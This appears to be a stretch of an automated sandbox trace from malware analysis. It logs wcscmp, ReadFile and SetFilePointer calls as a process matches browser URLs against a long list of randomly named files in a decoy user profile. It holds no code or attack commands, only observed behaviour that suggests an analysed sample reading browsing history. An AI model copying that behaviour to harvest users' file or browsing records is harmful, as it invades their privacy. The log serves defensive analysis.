[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 1
[0079.650] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 1
[0079.651] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.652] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.652] wcslen (_String="http://www.msn.com/") returned 0x13
[0079.652] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.652] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.652] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.652] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.652] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.652] _strlwr (in: _Str="https://support.microsoft.com/internet-explorer" | out: _Str="https://support.microsoft.com/internet-explorer") returned="https://support.microsoft.com/internet-explorer"
[0079.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/internet-explorer") returned 48
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="http://www.msn.com/") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2=":host: computer") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 1
[0079.652] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 1
[0079.653] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 1
[0079.654] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 1
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.655] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
